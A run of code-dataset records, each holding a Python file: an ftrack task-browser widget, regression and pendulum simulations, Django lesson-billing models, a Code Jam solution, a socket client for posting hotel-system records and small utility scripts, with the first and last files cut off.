clickedItem.hasChildren():\n            childList = []\n\n            if clickedItem.type in ['show', 'task']:\n                if clickedObjectType != 'Sequence' or self.showShots:\n                    children = clickedTask.getChildren()\n\n                    expand, select, expandItem, selectItem, retchildList = self.getTreeChildren(clickedItem, children)\n                    childList += retchildList\n\n                    if self.browseMode == 'Task':\n                        tasks = clickedTask.getTasks()\n                        expandTask, selectTask, expandItemTask, selectItemTask, retchildList = self.getTreeChildren(clickedItem, tasks)\n                        childList += retchildList\n\n                        if not expand:\n                            expandItem = expandItemTask\n                            expand = expandTask\n\n                        if not select:\n                            selectItem = selectItemTask\n                            select = selectTask\n\n            if len(childList) > 0:\n                sortedchildlist = sorted(childList, key=lambda a: a.text().lower())\n                clickedItem.appendColumn(sortedchildlist)\n\n        self.ui.BrowseTasksTreeView.setModel(self.ui.BrowseTasksViewModel)\n        self.ui.BrowseTasksTreeView.expand(modelindex)\n\n        self.currentId = clickedItem.id\n        if expand:\n            self.updateAssetView(self.ui.BrowseTasksViewModel.indexFromItem(expandItem))\n        elif select:\n            sortIndex = self.ui.BrowseTasksViewModel.indexFromItem(selectItem)\n            self.ui.BrowseTasksSelectionModel.select(sortIndex, QtGui.QItemSelectionModel.Clear | QtGui.QItemSelectionModel.Select)\n            self.currentId = self.startId\n            self.clickedIdSignal.emit(self.startId)\n            task = ftrack.Task(self.startId)\n            self.currentPath = HelpFunctions.getPath(task)\n        else:\n            if updateCurrentPath==True:\n                self.currentPath = HelpFunctions.getPath(clickedTask)\n                self.clickedIdSignal.emit(clickedItem.id)\n\n    def getTreeChildren(self, clickedItem, children):\n        expand = None\n        select = None\n        expandItem = None\n        selectItem = None\n        childList = []\n        if len(children) > 0:\n            childList = list()\n            for child in children:\n                if clickedItem.type == 'asset':\n                    childName = 'v' + str(child.getVersion()).zfill(4)\n                else:\n                    childName = child.getName()\n                    if childName == '':\n                        continue\n                itemChild = BrowseTasksItem(childName)\n                itemChild.id = child.getId()\n\n                try:\n                    itemChild.type = child.get('entityType')\n                except:\n                    itemChild.type = 'asset_version'\n                    itemChild.version = True\n                if itemChild.id != clickedItem.id:\n                    childList.append(itemChild)\n                    if itemChild.id in self.parentIds:\n                        expand = itemChild.id\n                        expandItem = itemChild\n                    elif itemChild.id == self.startId:\n                        select = itemChild.id\n                        selectItem = itemChild\n        return expand, select, expandItem, selectItem, childList\n\n    @QtCore.Slot(str)\n    def setProjectFilter(self, projectfilter):\n        if projectfilter == 'Show All':\n            projectfilter = ''\n\n        rowCount = self.ui.BrowseTasksViewModel.rowCount()\n        for i in range(rowCount):\n            tableItem = self.ui.BrowseTasksViewModel.item(i, 0)\n            rootItem = self.ui.BrowseTasksViewModel.invisibleRootItem().index()\n            #print tableItem.text().encode('ascii', 'ignore')\n            if projectfilter not in tableItem.text():\n                showMe = True\n            else:\n                showMe = False\n            self.ui.BrowseTasksTreeView.setRowHidden(i, rootItem, showMe)\n\n        #self.ui.BrowseTasksSortModel.setFilterFixedString(projectfilter)\n        foundItems = self.ui.BrowseTasksViewModel.findItems(projectfilter)\n        if len(foundItems) > 0:\n            for item in foundItems:\n                #self.updateAssetView(self.ui.BrowseTasksSortModel.mapFromSource(item.index()))\n                self.updateAssetView(item.index(), updateCurrentPath=False)\n\n    def getCurrentId(self):\n        return self.currentId\n\n    def getCurrentPath(self):\n        return self.currentPath\n        try:\n            task = ftrack.Task(self.currentId)\n            shotpath = task.getName()\n            taskParents = task.getParents()\n\n            for parent in taskParents:\n                shotpath = parent.getName() + '.' + shotpath\n\n            self.currentPath = shotpath\n            return self.currentPath\n        except:\n            return None\n\n    def setStartId(self, fid):\n        shot = ftrack.Task(fid)\n        parents = shot.getParents()\n        self.parentIds = [x.getId() for x in parents]\n\n    def setShowTasks(self, val):\n        if val == True:\n            self.browseMode = 'Task'\n        else:\n            self.browseMode = 'Shot'\n\n    def setShowShots(self, val):\n        self.showShots = val\n","sub_path":"linux/ftrack-connect-package/resource/legacy_plugins/ftrackplugin/ftrackWidgets/BrowseTasksWidget.py","file_name":"BrowseTasksWidget.py","file_ext":"py","file_size_in_byte":9269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"133020189","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nx_data = [338, 333, 328, 207, 226, 25, 179, 60, 208, 606]\ny_data = [640, 633, 619, 393, 428, 27, 193, 66, 226, 1591]\n\n\nb = -120\nw = -4\n\nlr = 1\niteration = 100000\n\nb_history=[b]\nw_history=[w]\n\nlr_b = 0\nlr_w = 0\n\nfor i in range(iteration):\n\tb_grad = 0.0\n\tw_grad = 0.0\n\tfor i in range(len(x_data)):\n\t\tb_grad = b_grad - 2.0*(y_data[i] - b - w*x_data[i])*1.0\n\t\tw_grad = w_grad - 2.0*(y_data[i] - b - w*x_data[i])*x_data[i]\n\n\tlr_b = lr_b + b_grad ** 2\n\tlr_w = lr_w + w_grad **2\n\n\tb = b - lr/np.sqrt(lr_b)*b_grad\n\tw = w - lr/np.sqrt(lr_w)*w_grad\n\n\tb_history.append(b)\n\tw_history.append(w)\n\nprint(b, w)\nplt.plot(range(iteration+1), b_history, 'r--',range(iteration+1), w_history, 'b')\nplt.show()\n","sub_path":"LHY-ML/demo-1.py","file_name":"demo-1.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"329582","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass DoingMath:\n\t\n\tdef __init__(self, h=None, g=None, m=None, b=None, l=None, ampl=None, p=1, w=None, fi0=None):\n\t\tself.h = h\n\t\tself.t = np.arange(0, 5, self.h)\n\t\tself.fi = np.zeros(1)\n\t\tself.u = np.zeros(1)  # u = fi'\n\t\tself.sigM = np.zeros(self.t.shape)  # moment napedowy silnika\n\t\t\n\t\tself.fi0 = fi0\n\t\tself.w = w\n\t\tself.ampl = ampl\n\t\tself.p = p\n\t\tself.m = m\n\t\tself.g = g\n\t\tself.b = b\n\t\tself.l = l\n\t\tself.I = None\n\t\n\tdef square_signal(self):\n\t\tx = []\n\t\t\n\t\tsize = int(self.t.shape[0])\n\t\tsamples = int(self.p / self.h)\n\t\tflag = True\n\t\tcount = 0\n\t\twhile True:\n\t\t\tif size <= 0:\n\t\t\t\tbreak\n\t\t\tif (count == int(self.t.shape[0])):\n\t\t\t\tbreak\n\t\t\tif self.w == 1:\n\t\t\t\tx.append(self.ampl)\n\t\t\t\tcount += 1\n\t\t\t\tsize -= 1\n\t\t\telif self.w == 0:\n\t\t\t\tx.append(0)\n\t\t\t\tcount += 1\n\t\t\t\tsize -= 1\n\t\t\telif flag:\n\t\t\t\tfor i in range(int(self.w * samples)):\n\t\t\t\t\tif (count == int(self.t.shape[0])):\n\t\t\t\t\t\tbreak\n\t\t\t\t\tx.append(self.ampl)\n\t\t\t\t\tcount += 1\n\t\t\t\tflag = False\n\t\t\t\tsize -= int(self.w * samples)\n\t\t\telse:\n\t\t\t\tfor i in range(int((1 - self.w) * samples)):\n\t\t\t\t\tif (count == int(self.t.shape[0])):\n\t\t\t\t\t\tbreak\n\t\t\t\t\tx.append(0)\n\t\t\t\t\tcount += 1\n\t\t\t\tflag = True\n\t\t\t\tsize -= int((1 - self.w) * samples)\n\t\t\n\t\treturn x\n\t\n\tdef triangle_signal(self):\n\t\tx = np.zeros(self.t.shape)\n\t\tfor i in range(1, 99, 2):\n\t\t\tfor a, b in enumerate(self.t):\n\t\t\t\tx[a] += self.ampl * (8 / pow(np.pi, 2)) * (pow(-1, (i - 1) / 2) / pow(i, 2)) * np.sin(\n\t\t\t\t\t2 * np.pi * i * b / self.p)\n\t\t\n\t\treturn x\n\t\n\tdef sinusoid_signal(self):\n\t\tx = np.zeros(self.t.shape)\n\t\tfor i, j in enumerate(self.t):\n\t\t\tx[i] = self.ampl * np.sin(2 * np.pi * j / self.p)\n\t\t\n\t\treturn x\n\t\n\tdef calculate(self):\n\t\tself.I = 1 / 3 * self.m * pow(self.l, 2)\n\t\tself.fi = np.zeros(self.t.shape)\n\t\tself.u = np.zeros(self.t.shape)\n\t\tself.fi[0] = self.fi0\n\t\tfor i, j in enumerate(self.t):  # i - indeksy, j - czasy\n\t\t\tk1 = self.h * self.u[i]\n\t\t\tq1 = self.h * self.func(self.I, self.b, self.m, self.g, self.l, self.sigM[i], 0, 0, self.fi[i], self.u[i])\n\t\t\tk2 = self.h * (self.u[i] + q1 / 2)\n\t\t\tq2 = self.h * self.func(self.I, self.b, self.m, self.g, self.l, self.sigM[i], k1 / 2, q1 / 2, self.fi[i],\n\t\t\t\t\t\t\t\t\tself.u[i])\n\t\t\tk3 = self.h * (self.u[i] + q2 / 2)\n\t\t\tq3 = self.h * self.func(self.I, self.b, self.m, self.g, self.l, self.sigM[i], k2 / 2, q2 / 2, self.fi[i],\n\t\t\t\t\t\t\t\t\tself.u[i])\n\t\t\tk4 = self.h * (self.u[i] + q3)\n\t\t\tq4 = self.h * self.func(self.I, self.b, self.m, self.g, self.l, self.sigM[i], k3, q3, self.fi[i], self.u[i])\n\t\t\t\n\t\t\tif i < len(self.t) - 1:\n\t\t\t\tself.fi[i + 1] = self.fi[i] + 1 / 6 * (k1 + 2 * k2 + 2 * k3 + k4)\n\t\t\t\tif self.fi[i + 1] > 360:\n\t\t\t\t\tself.fi[i + 1] -= 360\n\t\t\t\telif self.fi[i + 1] < -360:\n\t\t\t\t\tself.fi[i + 1] += 360\n\t\t\t\tself.u[i + 1] = self.u[i] + 1 / 6 * (q1 + 2 * q2 + 2 * q3 + q4)\n\t\n\tdef func(self, I, b, m, g, l, sigM, k, q, fi, u):\n\t\treturn (-sigM - b * (u + q) + m * g * l / 2 * np.sin((fi + k) * np.pi / 180)) / I\n\t\n\n\t\n\tdef get_output(self):\n\t\treturn self.fi","sub_path":"DoMath.py","file_name":"DoMath.py","file_ext":"py","file_size_in_byte":2962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"633550521","text":"from django.db import models\nfrom django.utils import timezone\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\n# レッスンのオブジェクト\nclass Lesson(models.Model):\n\n  GENRE_CHOICES = (\n    (1, '英語'),\n    (2, 'ファイナンス'),\n    (3, 'プログラミング'),\n  )\n\n  genre = models.IntegerField(verbose_name='ジャンル', choices=GENRE_CHOICES, blank=True, null=True)\n  charge = models.CharField(max_length=200, verbose_name='基本料金')\n  usage_fee = models.CharField(max_length=200, verbose_name='従量料金')\n\n  def __int__(self):\n    return self.genre\n\n  def get_lesson_history(self):\n    today = datetime.date.today()\n    first_of_thismonth = today + relativedelta(day=1)\n    nextmonth = today + relativedelta(months=1)\n    end_of_thismonth = nextmonth + relativedelta(day=1)\n\n    eng_m = []\n    eng_w = []\n    eng_m_unique_customer = []\n    eng_w_unique_customer = []\n    finance_m = []\n    finance_w = []\n    finance_m_unique_customer = []\n    finance_w_unique_customer = []\n    programing_m = []\n    programing_w = []\n    programing_m_unique_customer = []\n    programing_w_unique_customer = []\n    unique = []\n    zenbu = []\n    test = []\n    zenbu = []\n    price = []\n    i = 0\n    while i < 24:\n      first_of_Nmonth_ago = first_of_thismonth - relativedelta(months=i)\n      next_Nmonth = first_of_thismonth - relativedelta(months=(i-1))\n      end_of_Nmonth_ago = next_Nmonth - relativedelta(days=1)\n      lesson_per_month = Lesson_history.objects.filter(date__range=(first_of_Nmonth_ago, end_of_Nmonth_ago)) # 月毎の受講データを取得\n\n      em_price = 0\n      ew_price = 0\n      fm_price = 0\n      fw_price = 0\n      pm_price = 0\n      pw_price = 0\n\n      for history in lesson_per_month:\n        if history.lesson.genre == 1: # 英語の受講者\n          if history.customer.gender == 1: # 英語を受講する男\n            eng_m.append(history)\n            eng_m_unique_customer.append(history.customer)\n            fee = history.calculate_price()\n            em_price += fee\n          elif history.customer.gender == 2: # 英語を受講する女\n            eng_w.append(history)\n            eng_w_unique_customer.append(history.customer)\n            fee = history.calculate_price()\n            ew_price += fee\n\n        elif history.lesson.genre == 2: # ファイナンスの受講者\n          if history.customer.gender == 1: # ファイナンスを受講する男\n            finance_m.append(history)\n            finance_m_unique_customer.append(history.customer)\n            fee = history.calculate_price()\n            fm_price += fee\n          elif history.customer.gender == 2: # ファイナンスを受講する女\n            finance_w.append(history)\n            finance_w_unique_customer.append(history.customer)\n            fee = history.calculate_price()\n            fw_price += fee\n\n        elif history.lesson.genre == 3: # プログラミングを受講者\n          if history.customer.gender == 1: # プログラミングを受講する男\n            programing_m.append(history)\n            programing_m_unique_customer.append(history.customer)\n            fee = history.calculate_price()\n            pm_price += fee\n          elif history.customer.gender == 2: # プログラミングを受講する女\n            programing_w.append(history)\n            programing_w_unique_customer.append(history.customer)\n            fee = history.calculate_price()\n            pw_price += fee\n\n      zenbu.append(((eng_m, eng_w), (finance_m, finance_w), (programing_m, programing_w)))\n      price.append(((em_price, ew_price), (fm_price, fw_price), (pm_price, pw_price)))\n\n      eng_m_unique_customer = list(set(eng_m_unique_customer))\n      eng_w_unique_customer = list(set(eng_w_unique_customer))\n      finance_m_unique_customer = list(set(finance_m_unique_customer))\n      finance_w_unique_customer = list(set(finance_w_unique_customer))\n      programing_m_unique_customer = list(set(programing_m_unique_customer))\n      programing_w_unique_customer = list(set(programing_w_unique_customer))\n\n      unique.append(((eng_m_unique_customer, eng_w_unique_customer), (finance_m_unique_customer, finance_w_unique_customer), (programing_m_unique_customer, programing_w_unique_customer)))\n\n      test.append((first_of_Nmonth_ago, zenbu, unique, price))\n\n      eng_m = []\n      eng_w = []\n      finance_m = []\n      finance_w = []\n      programing_m = []\n      programing_w = []\n      eng_m_unique_customer = []\n      eng_w_unique_customer = []\n      finance_m_unique_customer = []\n      finance_w_unique_customer = []\n      programing_m_unique_customer = []\n      programing_w_unique_customer = []\n      zenbu = []\n      unique = []\n      price = []\n\n      i += 1\n    return test\n\n\n# 顧客のオブジェクト\nclass Customer(models.Model):\n\n  GENDER_CHOICES = (\n    (1, '男'),\n    (2, '女'),\n    (3, 'その他'),\n  )\n  name = models.CharField(max_length=255, verbose_name='名前')\n  gender = models.IntegerField(verbose_name='性別', choices=GENDER_CHOICES, blank=True, null=True)\n  age = models.CharField(max_length=200, verbose_name='年齢')\n\n  def __str__(self):\n    return self.name\n\n  def getLessonHistory(self): # 受講履歴を取得\n    today = datetime.date.today()\n    first_of_thismonth = today + relativedelta(day=1)\n    first_of_onemonth_ago = first_of_thismonth - relativedelta(months=1)\n    first_of_twomonth_ago = first_of_thismonth - relativedelta(months=2)\n    first_of_threemonth_ago = first_of_thismonth - relativedelta(months=3)\n    nextmonth = today + relativedelta(months=1)\n    end_of_thismonth = nextmonth + relativedelta(day=1)\n    end_of_onemonth_ago = first_of_thismonth - relativedelta(days=1)\n    end_of_twomonth_ago = first_of_onemonth_ago - relativedelta(days=1)\n    end_of_threemonth_ago = first_of_twomonth_ago - relativedelta(days=1)\n\n    thismonth_lesson = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_thismonth, end_of_thismonth))\n    onemonth_ago_lesson = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_onemonth_ago, end_of_onemonth_ago))\n    twomonth_ago_lesson = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_twomonth_ago, end_of_twomonth_ago))\n    threemonth_ago_lesson = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_threemonth_ago, end_of_threemonth_ago))\n    lesson_history = (thismonth_lesson, onemonth_ago_lesson, twomonth_ago_lesson, threemonth_ago_lesson)\n    return lesson_history\n\n  def getCountPerLesson(self): # 受講履歴カウント\n    today = datetime.date.today()\n    first_of_thismonth = today + relativedelta(day=1)\n    first_of_onemonth_ago = first_of_thismonth - relativedelta(months=1)\n    first_of_twomonth_ago = first_of_thismonth - relativedelta(months=2)\n    first_of_threemonth_ago = first_of_thismonth - relativedelta(months=3)\n    nextmonth = today + relativedelta(months=1)\n    end_of_thismonth = nextmonth + relativedelta(day=1)\n    end_of_onemonth_ago = first_of_thismonth - relativedelta(days=1)\n    end_of_twomonth_ago = first_of_onemonth_ago - relativedelta(days=1)\n    end_of_threemonth_ago = first_of_twomonth_ago - relativedelta(days=1)\n\n    thismonth_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_thismonth, end_of_thismonth))\n    onemonth_ago_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_onemonth_ago, end_of_onemonth_ago))\n    twomonth_ago_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_twomonth_ago, end_of_twomonth_ago))\n    threemonth_ago_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_threemonth_ago, end_of_threemonth_ago))\n    history_per_month = [thismonth_history, onemonth_ago_history, twomonth_ago_history, threemonth_ago_history] # リストに各月毎のデータを格納\n\n    countGenre_per_month = [] # 月毎にジャンルの受講回数をカウントして格納\n    for histories in history_per_month:\n      english = 0\n      finance = 0\n      programing = 0\n      for history in histories:\n        if history.lesson.genre == 1:\n          english += 1\n        elif history.lesson.genre == 2:\n          finance += 1\n        elif history.lesson.genre == 3:\n          programing += 1\n\n      genre_count = []\n      if english >= 1:\n        genre_count.append('英語(' + str(english) + ')')\n      if finance >= 1:\n        genre_count.append('ファイナンス(' + str(finance) + ')')\n      if programing >= 1:\n        genre_count.append('プログラム(' + str(programing) + ')')\n      countGenre_per_month.append(genre_count)\n    return countGenre_per_month\n\n  def calculate_total_price(self): # 請求金額を計算\n    today = datetime.date.today()\n    first_of_thismonth = today + relativedelta(day=1)\n    first_of_onemonth_ago = first_of_thismonth - relativedelta(months=1)\n    first_of_twomonth_ago = first_of_thismonth - relativedelta(months=2)\n    first_of_threemonth_ago = first_of_thismonth - relativedelta(months=3)\n    nextmonth = today + relativedelta(months=1)\n    first_of_nextmonth = nextmonth + relativedelta(day=1)\n    end_of_thismonth = first_of_nextmonth - relativedelta(days=1)\n    end_of_onemonth_ago = first_of_thismonth - relativedelta(days=1)\n    end_of_twomonth_ago = first_of_onemonth_ago - relativedelta(days=1)\n    end_of_threemonth_ago = first_of_twomonth_ago - relativedelta(days=1)\n\n    thismonth_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_thismonth, end_of_thismonth))\n    onemonth_ago_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_onemonth_ago, end_of_onemonth_ago))\n    twomonth_ago_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_twomonth_ago, end_of_twomonth_ago))\n    threemonth_ago_history = Lesson_history.objects.filter(customer=self.id, date__range=(first_of_threemonth_ago, end_of_threemonth_ago))\n    history_per_month = [thismonth_history, onemonth_ago_history, twomonth_ago_history, threemonth_ago_history] # リストに各月毎のデータを格納\n\n    total_price_per_month = [] # 月毎の請求金額を格納する空リスト\n    for histories in history_per_month:\n      total_price = 0\n      for history in histories:\n        price_per_lesson = 0\n        hour = int(history.hour)\n        charge = int(history.lesson.charge)\n        usage_fee = int(history.lesson.usage_fee)\n\n        # ---------------英語の価格計算--------------------\n        if history.lesson.genre == 1:\n          price_per_lesson = charge + (usage_fee * hour)\n\n        # ------------ファイナンスの価格計算----------------\n        elif history.lesson.genre == 2:\n          volume_discount = 2800\n          volume_discount_two = 2500\n\n          if hour > 20 and 50 >= hour: #20万円を超え、50万円以下の時\n            price_per_lesson = charge + (usage_fee * 20) + (volume_discount * (hour - 20))\n          elif hour > 50: #50万円を超える時\n            price_per_lesson = charge + (usage_fee * 20) + (volume_discount * 30) + (volume_discount_two * (hour - 50))\n          else:\n            price_per_lesson = charge + (usage_fee * hour)\n\n        # ------------プログラミングの価格計算--------------\n        elif history.lesson.genre == 3:\n          volume_discount = 3000\n          volume_discount_two = 2800\n          volume_discount_three = 2500\n          if hour <= 5: #5万円以下の時\n            price_per_lesson = charge\n          elif hour > 5 and 20 >= hour: #5万円を超え、20万円以下の時\n            price_per_lesson = charge + (usage_fee * (hour - 5))\n          elif hour > 20 and 35 >= hour: #20万円を超え、35万円以下の時\n            price_per_lesson = charge + (usage_fee * 15) + (volume_discount * (hour - 20))\n          elif hour > 35 and 50 >= hour: #35万円を超え、50万円以下の時\n            price_per_lesson = charge + (usage_fee * 15) + (volume_discount * 15) + (volume_discount_two * (hour - 35))\n          elif hour > 50: #50万円を超える時\n            price_per_lesson = charge + (usage_fee * 15) + (volume_discount * 15) + (volume_discount_two * 15) + (volume_discount_three * (hour - 50))\n        total_price += price_per_lesson\n      total_price_per_month.append(total_price)\n    return total_price_per_month\n\n# 受講記録のオブジェクト\nclass Lesson_history(models.Model):\n  customer = models.ForeignKey(Customer, verbose_name=\"顧客名\")\n  lesson = models.ForeignKey(Lesson, verbose_name=\"ジャンル\")\n  date = models.DateField(default=timezone.now, verbose_name=\"受講日\")\n  hour = models.CharField(max_length=200, verbose_name='受講時間(h)')\n\n  def __int__(self):\n    return self.date\n\n  def calculate_price(self):\n    hour = int(self.hour)\n    charge = int(self.lesson.charge)\n    usage_fee = int(self.lesson.usage_fee)\n\n    if self.lesson.genre == 2: #ファイナンスの価格計算\n      volume_discount = 2800\n      volume_discount_two = 2500\n      if hour > 20 and 50 >= hour:\n        return charge + (usage_fee * 20) + (volume_discount * (hour - 20))\n      elif hour > 50:\n        return charge + (usage_fee * 20) + (volume_discount * 30) + (volume_discount_two * (hour - 50))\n\n    elif self.lesson.genre == 3: #プログラミングの価格計算\n      volume_discount = 3000\n      volume_discount_two = 2800\n      volume_discount_three = 2500\n      if hour <= 5:\n        return charge\n      elif hour > 5 and 20 >= hour:\n        return charge + (usage_fee * (hour - 5))\n      elif hour > 20 and 35 >= hour:\n        return charge + (usage_fee * 15) + (volume_discount * (hour - 20))\n      elif hour > 35 and 50 >= hour:\n        return charge + (usage_fee * 15) + (volume_discount * 15) + (volume_discount_two * (hour - 35))\n      elif hour > 50:\n        return charge + (usage_fee * 15) + (volume_discount * 15) + (volume_discount_two * 15) + (volume_discount_three * (hour - 50))\n    return charge + (usage_fee * hour)\n","sub_path":"school/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":14017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"45147154","text":"#!/usr/bin/python3\n\nimport sys\nimport math\n\ndef findbest(score):\n\t# Corner case\n\tif score == 0: return (0, 0)\n\n\tbest = math.ceil(score / 3)\n\tbestsurp = round(score / 3) + 1\n\n\treturn (best, bestsurp)\n\t\n# Ignore the number of cases\nsys.stdin.readline()\n\ncasenum = 0\nfor line in sys.stdin:\n\tcasenum += 1\n\n\tdata = line.strip().split(' ')\n\tmaxsurprising = int(data[1])\n\tp = int(data[2])\n\tscores = data[3:]\n\tmaxgooglers = 0\n\n\tfor s in scores:\n\t\t(best, bestsurp) = findbest(int(s))\n\t\tif best >= p:\n\t\t\tmaxgooglers += 1\n\t\telse:\n\t\t\tif bestsurp >= p and maxsurprising > 0:\n\t\t\t\tmaxgooglers += 1\n\t\t\t\tmaxsurprising -= 1\n\n\tprint(\"Case #%d: %d\" % (casenum, maxgooglers))\n","sub_path":"solutions_1595491_1/Python/netsuso/Q_B.py","file_name":"Q_B.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"207012340","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nUtility file for collecting frequently used constants and helper functions.\n\nCreated on Wed Sep 29 10:50:36 2021\n\n@author: lbechberger\n\"\"\"\n\n# column names for the original data frame\nCOLUMN_TWEET = \"tweet\"\nCOLUMN_LIKES = \"likes_count\"\nCOLUMN_RETWEETS = \"retweets_count\"\nCOLUMN_MONTH = \"date\"\nCOLUMN_PHOTOS = \"photos\"\nCOLUMN_MENTIONS = \"mentions\"\nCOLUMN_URL = \"urls\"\nCOLUMN_REPLIES = \"replies_count\"\nCOLUMN_HASHTAG = \"hashtags\"\nCOLUMN_LIKES = \"likes_count\"\nCOLUMN_TIME = \"time\"\n\n# column names of novel columns for preprocessing\nCOLUMN_LABEL = \"label\"\nCOLUMN_PUNCTUATION = \"tweet_no_punctuation\"\n\nSUFFIX_TOKENIZED = \"_tokenized\"\nSUFFIX_STOPWORDS = \"_stopwords_removed\"\nSUFFIX_LEMMATIZED = \"_lemmatized\"\nSUFFIX_PUNCTUATION = \"_punct_removed\"","sub_path":"code/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"239418468","text":"#!/usr/bin/python\n\nimport logging\nimport sys\nimport socket\nimport config\nimport parsemessage as ps\n\n\ndef main(message):\n    logging.basicConfig(filename='postrecord.log',\n                        filemode='w',\n                        level=logging.ERROR,\n                        format='[%(asctime)s] %(levelname)s:%(message)s',\n                        datefmt='%d/%m/%Y %H:%M:%S')\n    logging.info(\"App start\")\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        s.connect((config.server_address, config.server_port))\n    except Exception:\n        logging.exception(\"Connect to pms server failed\")\n        sys.exit(1)\n\n    s.send(ps.generate_link_start_message())\n    result1= ps.parse(message)\n    if len(result1) == 3:\n        s.send(message)\n    else:\n        logging.critical(\"Posting Record: '%s' is wrong\", message)\n        s.close()\n        sys.exit(2)\n\n    answer = s.recv(1024)\n    s.send(ps.generate_link_end_message())\n    s.close()\n\n    print(\"Answer is '{}'\".format(answer))\n    result2 = ps.parse(answer)\n    if (len(result2) != 4):\n        logging.critical(\"Answer is wrong.\\n\"\n                         \"Posting Answer Record: '%s'\\n\"\n                         \"Posting Record: '%s'\",\n                         answer, message)\n        sys.exit(3)\n\n    if cmp(result1[1:2], result2[1:2]) != 0:\n        logging.critical(\"Answer is wrong 2.\\n\"\n                         \"Posting Answer Record: '%s'\\n\"\n                         \"Posting Record: '%s'\",\n                         answer, message)\n        sys.exit(3)\n\n    if result2[3] != \"OK\":\n        logging.error(\"Posting record is failed\")\n        sys.exit(-1)\n\n\nif __name__ == '__main__':\n    if len(sys.argv) != 2:\n        print(\"Usage: postrecord record_message\")\n        sys.exit(4)\n    main(sys.argv[1])\n","sub_path":"pmsc/postrecord.py","file_name":"postrecord.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"142596570","text":"import glob\r\nimport sys\r\n\r\n\r\nsys.stdout = open('./Modules/modules.cpp', 'w')\r\npattern = \"// [[not imported module]]\"\r\nprint(pattern)\r\nfiles = glob.glob(\"./Modules/*.cpp\")\r\nresult = []\r\nprint(\"#include \\\"modules.h\\\"\")\r\nprint(\"#include \\\"all.h\\\"\")\r\nprint()\r\nprint(\"bool try_import_module(std::string name){\")\r\nfor file in files:\r\n\twith open(file, 'r') as fd:\r\n\t\ttext = fd.read()\r\n\tif text[0:26] != pattern:\r\n\t\tresult.append(file)\r\nfor i in range(len(result)):\r\n\tname = result[i][10:-4].lower()\r\n\tmodule_name = name[0].upper() + name[1:]\r\n\tif module_name == 'Modules':\r\n\t\tcontinue\r\n\tstart = \"else if\"\r\n\tif i == 0:\r\n\t\tstart = \"if\"\r\n\tprint(\"\\t\" + start + \" (name == \\\"\" + name + \"\\\") \" + module_name + \"::init();\")\r\nprint(\"\\telse return false;\")\r\nprint(\"\\treturn true;\")\r\nprint(\"}\")\r\ninput()\r\n","sub_path":"modules_updater.py","file_name":"modules_updater.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"198003607","text":"import numpy as np\nfrom joblib import Parallel, delayed\n\n\ndef _check_input(codes, times) -> tuple:\n    # I don't want to work with subclass of ndarray, as subclasses actually have some undesired effects.\n    codes = np.asarray(codes)\n    times = np.asarray(times)\n    assert codes.shape == times.shape\n    assert codes.ndim == 1\n\n    times = times.astype(np.float64, copy=False, casting='safe')\n    codes = codes.astype(np.int16, copy=False, casting='safe')\n    return codes, times\n\n\ndef _check_output(result: dict) -> None:\n    \"\"\"\n\n    Parameters\n    ----------\n    result\n\n    Returns\n    -------\n\n    \"\"\"\n    float64_set = {'start_times', 'end_times',\n                   'trial_start_time', 'trial_end_time', 'trial_length'}\n    for x in float64_set:\n        assert result[x].dtype == np.float64\n    assert result['condition_number'].dtype == np.int16\n    for x in result['event_times']:\n        assert x.dtype == np.float64\n    for x in result['event_codes']:\n        assert x.dtype == np.int16\n\n\ndef _get_times_one_sub_trial(codes: np.ndarray, times: np.ndarray, trial_info: dict) -> tuple:\n    start_time = times[np.flatnonzero(codes == trial_info['start_code'])[0]]\n    if 'end_time' in trial_info:\n        end_time = start_time + trial_info['end_time']\n    elif 'end_code' in trial_info:\n        end_time = times[np.flatnonzero(codes == trial_info['end_code'])[0]]\n    else:\n        raise RuntimeError('unsupported mode for finding end of subtrial!')\n    return start_time, end_time\n\n\ndef _get_times_subtrials(codes: np.ndarray, times: np.ndarray, params: dict) -> tuple:\n    # find (abs) subtrial start/stop times.\n    start_times = []\n    end_times = []\n    for trial_info in params:\n        start_time, end_time = _get_times_one_sub_trial(codes, times, trial_info)\n        start_times.append(start_time)\n        end_times.append(end_time)\n    start_times = np.asarray(start_times)\n    end_times = np.asarray(end_times)\n    assert np.all(start_times <= end_times)\n    return start_times, end_times\n\n\ndef _get_times_trial(codes: np.ndarray, times: np.ndarray,\n                     start_times: np.ndarray, end_times: np.ndarray, params: dict) -> tuple:\n    # find trial start/end times\n    if 'trial_start_code' in params:\n        trial_start_time = times[np.flatnonzero(codes == params['trial_start_code'])[0]]\n        if 'trial_end_code' in params:\n            trial_end_time = times[np.flatnonzero(codes == 